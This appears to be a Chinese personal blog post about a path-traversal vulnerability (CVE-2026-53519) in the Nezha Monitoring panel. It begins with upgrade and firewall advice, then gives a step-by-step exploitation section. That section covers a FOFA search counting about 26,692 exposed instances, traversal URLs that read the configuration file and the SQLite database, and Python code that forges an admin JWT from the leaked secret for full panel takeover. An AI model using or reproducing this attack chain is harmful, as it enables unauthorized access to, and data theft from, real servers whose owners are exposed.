superaj 's Home

一辈子,总还是得让一些善念, 推着我们前行, 不管是三年,还是三十年, 专注做点东西, 至少对得起光阴。

哪吒监控(Nezha Monitoring)曝出高危严重漏洞(CVE-2026-53519,CVSS 评分9.1)原理研究及利用

近期哪吒监控(Nezha Monitoring)曝出高危严重漏洞(CVE-2026-53519,CVSS 评分9.1),所有2.0.13以下版本均受影响。该漏洞属于未授权路径遍历漏洞,黑客无需登录验证,即可远程读取服务器内核心配置、数据库等敏感文件,进而非法接管整个监控面板。

一旦遭到入侵,将造成账号数据泄露、服务器权限被盗、业务数据丢失,甚至引发合规处罚、经济损失等一系列风险。

为保障您的服务器与数据安全,请立即执行以下操作:

  1. 紧急升级:尽快将哪吒监控程序升级至官方修复版本 2.0.13 及以上,彻底封堵漏洞。
  2. 临时防护:暂无法升级的用户,可通过防火墙限制面板外网访问、配置IP白名单,阻断外部恶意攻击。
  3. 安全自查:升级后检查后台管理员账号、密钥信息是否异常,及时重置所有密码与通信密钥。

漏洞官方详情参考:

https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh

https://nvd.nist.gov/vuln/detail/CVE-2026-53519

漏洞研究利用:

fofa 搜索 Nezha Monitoring

搜索结果:26,692条匹配结果(20,177 条独立IP ) 

打开访问路径:

http://xxxx:8008/dashboard../data/config.yaml

拿到密钥后,用 Python 快速伪造一个管理员 JWT:

import jwt
import time

secret = "泄露的密钥"

payload = {
    "user_id": 1,          # admin 通常是 uid=1
    "username": "admin",
    "role": "admin",
    "iat": int(time.time()),
    "exp": int(time.time()) + 86400 * 7  # 7 天有效期
}

token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

将伪造的 Token 填入浏览器 Cookie (nz-jwt)或 Authorization Header,刷新面板页面,你已经拿到管理员最高权限了。

http://xxxx:8008/dashboard../data/sqlite.db

此次影响范围巨大, 非常可怕!

Copyright © 2026 superaj 's Home. All Right Reserved.